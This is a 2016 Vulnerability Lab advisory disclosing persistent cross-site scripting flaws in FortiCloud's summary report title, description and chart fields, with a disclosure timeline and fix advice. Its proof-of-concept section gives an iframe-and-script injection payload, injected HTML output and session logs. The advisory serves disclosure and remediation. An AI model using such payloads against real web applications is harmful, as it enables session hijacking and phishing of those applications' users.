FortiCloud - (Reports Summary) Multiple Persistent Vulnerabilities

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
FortiCloud - (Reports Summary) Multiple Persistent Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1735


Release Date:
=============
2016-08-05


Vulnerability Laboratory ID (VL-ID):
====================================
1735


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
FortiCloud is a hosted solution that helps you manage your FortiGate® network and your FortiAP® wireless 
infrastructure. The perfect companion to all 
your FortiGate & FortiWiFi units. FortiCloud is a hosted security and wireless infrastructure management solution and 
log retention service for FortiGate,
FortiWiFi and FortiAP devices. It gives you centralized reporting, traffic analysis, configuration management, and log 
retention without the need for 
additional hardware and software, with the following feature set: 

( Copy of the Vendor Homepage: http://docs.fortinet.com/uploaded/files/1730/forticloud-faq-25.pdf )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple application-side validation vulnerabilities in 
the official Forticloud online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Lawrence Amer)
2016-02-18: Vendor Notification (Fortguard PSIRT Security Team)
2016-03-02: Vendor Response/Feedback (Fortguard PSIRT Security Team)
2016-07-04: Vendor Fix/Patch (Fortinet Developer Team)
2016-07-22: Security Acknowledgements (Fortguard PSIRT Security Team)
2016-08-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple persistent cross site scripting web vulnerabilities has been discoverd in the offical version of Forticloud 
online service web-application. 
The security vulnerability allows remote attackers to inject own malicious script codes on the application-side of the 
affected online service module.

The persistent input validation web vulnerabilities are located in the `Template - Summary` module of the main 
`Reports` module. The encoding of the 
add inputs in the title, description and charts is broken. Remote attackers with low or privileged web-application user 
accounts are able to inject 
own malicious script codes on the application-side of the reports - summary module. The request method to inject is 
POST and the attack vector is 
located on the application-side of the forticloud service. The injection point are the title, description and charts 
add input fields and the 
execution point is the reports - summary module of the web-application.

The security risk of the persistent validation vulnerabilities are estimated as medium with a cvss (common 
vulnerability scoring system) count of 3.6. 
Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user 
account and low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external 
redirects to malicious source and persistent 
manipulation of affected or connected application modules.


Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] FortiCloud - Reports - Templates

Vulnerable Input(s):
                                [+] Reports Main title
                                [+] Reports Descriptions
                                [+] Report Charts

Vulnerable Parameter(s):
                                [+] ext-gen2538, ext-gen2458 & gwt-HTML
                                [+] fc-rpt-description
                                [+] fc-rpt-title
                                [+] fc-rpt-chart

Affected Module(s):
                                [+] Summary (Main.html - Index)


Proof of Concept (PoC):
=======================
The application-side web vulnerabilities can be exploited by remote attackers with low privileged application user 
account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.


Manual steps to reproduce the vulnerability ...
1. Open the forticloud appliance web-application and login
2. Open the reports > templates module
3. Switch to Summary Reports
4. Edit existing or Add a new own title , description  or chart
5. Inject as name value a script code payload (javascript)
Note: >"<iframe src=http://vulnerability-lab.com onload=alert(document.cookie) <
6. The execution occurs directly in the same input field context in the summary module
7. Successful reproduce of the vulnerability!  


PoC: Video
https://youtu.be/-WTAMxi1qzQ


PoC: Summary Reports - com.fortinet.gwt.Main/Main.html  (Add Title)
"><iframe id="ext-gen2538" src="[PERSISTENT SCRIPT CODE EXECUTION!]...</iframe></div></div></td><td id="ext-gen2541" 
style="vertical-align: top;" align="right"><table id="ext-gen2543" style="visibility: 
hidden;"><colgroup><col></colgroup>
<tbody><tr><td><img id="ext-gen2544" aria-hidden="false" style="padding-left: 12px; vertical-align: 1px;" title="Edit" 
class="img_link" src="images/160/small_edit_icon.png"></td>
<td><img id="ext-gen2550" aria-hidden="false" style="padding-left: 12px; padding-right: 12px; vertical-align: 1px;" 
title="Delete" class="img_link" 
src="images/160/medium_close_icon.png"></td></tr></tbody></table></td></tr></tbody></table></td></tr>
<tr><td width="100%"><table aria-hidden="true" style="width: 100%; height: 100%; display: none;" cellpadding="0" 
cellspacing="0">
<tbody><tr><td style="vertical-align: top; width: 100%;" align="center" height="" width=""><input style="width: 96%; 
height: 0px; margin: 8px;" class="gwt-TextBox" 
type="text"></td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr>
<tr><td><table id="ext-gen2522" class="fc-rpt-block fc-rpt-block-grey" style="width: 
100%;"><colgroup><col></colgroup><tbody id="ext-gen2524"><tr><td width="100%">
<table id="ext-gen2526" style="width: 100%;"><colgroup><col></colgroup><tbody><tr><td id="ext-gen2525" 
width="100%"><div style="white-space: nowrap;" class="gwt-HTML"></div></td>
<td align="right"><table style="padding-top: 5px;"><colgroup><col></colgroup><tbody><tr><td><img style="padding-right: 
25px;" 
class="img_link" src="images/160/medium_settings_icon.png"></td><td><img style="padding-right: 25px;" title="Delete" 
class="img_link" src="images/160/medium_close_icon.png">


PoC: Summary Reports - com.fortinet.gwt.Main/Main.html  (Add Charts)
<tr><td style="vertical-align: top;" align="left"><div id="ext-gen2092" style="" class="" aria-hidden="false" 
tabindex="0"><input style="opacity: 0; height: 1px; width: 1px; 
z-index: -1; overflow: hidden; position: absolute;" tabindex="-1" type="text"><table id="ext-gen2094" style="width: 
1026px; height: 100%;" class="widget" cellpadding="0" 
cellspacing="0"><colgroup><col></colgroup><tbody><tr><td><table id="ext-gen2090" class="fc-rpt-title" style="width: 
100%; background-color: rgb(25, 115, 198);"><colgroup><col>
</colgroup><tbody><tr><td id="ext-gen2284" style="padding-left: 25px;" align="left" width="100%"><div class="" 
tabindex="0"><input style="opacity: 0; height: 1px; width: 1px; 
z-index: -1; overflow: hidden; position: absolute;" tabindex="-1" type="text"><div id="ext-gen2091" style="width: 100%; 
white-space: nowrap;" 
class="gwt-HTML">">[PERSISTENT SCRIPT CODE EXECUTION!]<iframe id="ext-gen2458" src="[PERSISTENT SCRIPT CODE 
EXECUTION!]></div></div></td><td id="ext-gen2213" 
style="vertical-align: top;" align="right"><table id="ext-gen2095" style="visibility: 
hidden;"><colgroup><col></colgroup><tbody><tr id="ext-gen2216"><td id="ext-gen2286">
<img id="ext-gen2287" style="padding-left: 12px; vertical-align: 0px;" class="img_link" 
src="images/160/medium_collapse_icon.png"></td><td id="ext-gen2096"><img id="ext-gen2097" 
style="padding-left: 12px; vertical-align: 1px;" title="Edit" class="img_link" 
src="images/160/small_edit_icon_white.png"></td><td id="ext-gen2215"><img id="ext-gen2214" 
style="padding-left: 12px; padding-right: 12px; vertical-align: 1px;" title="Delete" class="img_link" 
src="images/160/medium_close_icon_white.png"></td></tr>
</tbody></table></td></tr></tbody></table></td></tr><tr><td width="100%"><table aria-hidden="false" style="width: 100%; 
height: 100%;" cellpadding="0" cellspacing="0">
<tbody><tr><td id="ext-gen2457" style="vertical-align: top; width: 100%;" align="center" height="" width=""><img 
id="ext-gen2444" style="width: 96%; margin: 8px;" 
title="Sample Chart" class="gwt-Image" 
src="images/portal/barchart2.png"></td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table>
</td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody>


PoC: Summary Reports - com.fortinet.gwt.Main/Main.html  (Add Description)
<tr><td id="ext-gen2643" align="left" width="100%"><div id="ext-gen2682" class="" tabindex="0"><input style="opacity: 
0; height: 1px; width: 1px; z-index: -1; overflow: 
hidden; position: absolute;" tabindex="-1" type="text"><div id="ext-gen2644" style="width: 100%; white-space: nowrap;" 
class="fc-rpt-description">%20<img>%20[PERSISTENT SCRIPT CODE EXECUTION!]<iframe 
id="ext-gen2662"></iframe></div></div></td><td id="ext-gen2654" style="vertical-align: 
top;" align="right"><table id="ext-gen2655" style="visibility: hidden;"><colgroup><col></colgroup><tbody><tr><td 
id="ext-gen2683"><img id="ext-gen2645" aria-hidden="false" 
style="padding-left: 12px; vertical-align: 1px;" title="Edit" class="img_link" 
src="images/160/small_edit_icon.png"></td><td id="ext-gen2684"><img id="ext-gen2685" 
aria-hidden="false" style="padding-left: 12px; padding-right: 12px; vertical-align: 1px;" title="Delete" 
class="img_link" src="images/160/medium_close_icon.png">
</td></tr></tbody></table></td></tr>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://forticloud.localhost:7641/com.fortinet.gwt.Main/account 
Mime Type[application/json]
   Request Header:
      Host[forticloud.localhost:7641]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Content-Type[text/x-gwt-rpc; charset=utf-8]
      x-gwt-permutation[D7292270AC638FB6CE5F48AC977F99B4]
      X-GWT-Module-Base[https://forticloud.localhost:7641/com.fortinet.gwt.Main/]
      
Referer[https://forticloud.localhost:7641/com.fortinet.gwt.Main/Main.html?locale=en_US&seq=1455786963849&logoutUrl=login.jsp&loginurl=]
      Cookie[JSESSIONID=5AF2C62793B0AC3B70B31A150E1E1923]
      Connection[keep-alive]
   POST-Daten:
      
7|0|4|https://forticloud.localhost:7641/com.fortinet.gwt.Main/|3C6EAA58CDA996EE4B7102D4CDB7AFC4|com.fortinet.gwt.client.portal.account.AccountService|getLastLoginData|1|2|3|4|0|[]
   Response Header:
      Server[Apache-Coyote/1.1]
      X-Frame-Options[SAMEORIGIN]
      Content-Disposition[attachment]
      Content-Type[application/json;charset=utf-8]
-
Status: 200[OK]
GET https://forticloud.localhost:7641/com.fortinet.gwt.Main/x[PERSISTENT INJECTED SCRIPT CODE EXECUTION!] 
Mime Type[text/html]
   Request Header:
      Host[forticloud.localhost:7641]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      
Referer[https://forticloud.localhost:7641/com.fortinet.gwt.Main/Main.html?locale=en_US&seq=1455786963849&logoutUrl=login.jsp&loginurl=]
      Cookie[JSESSIONID=5AF2C62793B0AC3B70B31A150E1E1923]
      Connection[keep-alive]
   Response Header:
      Server[Apache-Coyote/1.1]
      Cache-Control[private]
      Expires[Wed, 31 Dec 1969 16:00:00 PST]
      X-Frame-Options[SAMEORIGIN]
      Content-Type[text/html;charset=utf-8]
      Content-Length[1024]


Reference(s):
https://forticloud.localhost:7641/
https://forticloud.localhost:7641/com.fortinet.gwt.Main/
https://forticloud.localhost:7641/com.fortinet.gwt.Main/account


Solution - Fix & Patch:
=======================
1. Encode and parse the vulnerable input fields (title, charts and description)
2. Escape the input via edit and add 
3. Restrict the input and disallow usage of special chars on add or edit
4. Encode the vulnerable summary module to prevent an application-side script code execution
5. Implement a secure exception-handling to prevent further injection attacks


Updates are available for customers in the fortinet customer area or via automated appliance update.
FortiCloud v3.0.0


Security Risk:
==============
The security risk of the application-side input validation web vulnerabilities in the forticloud web-application are 
estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer - ( 
http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer )


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=========================
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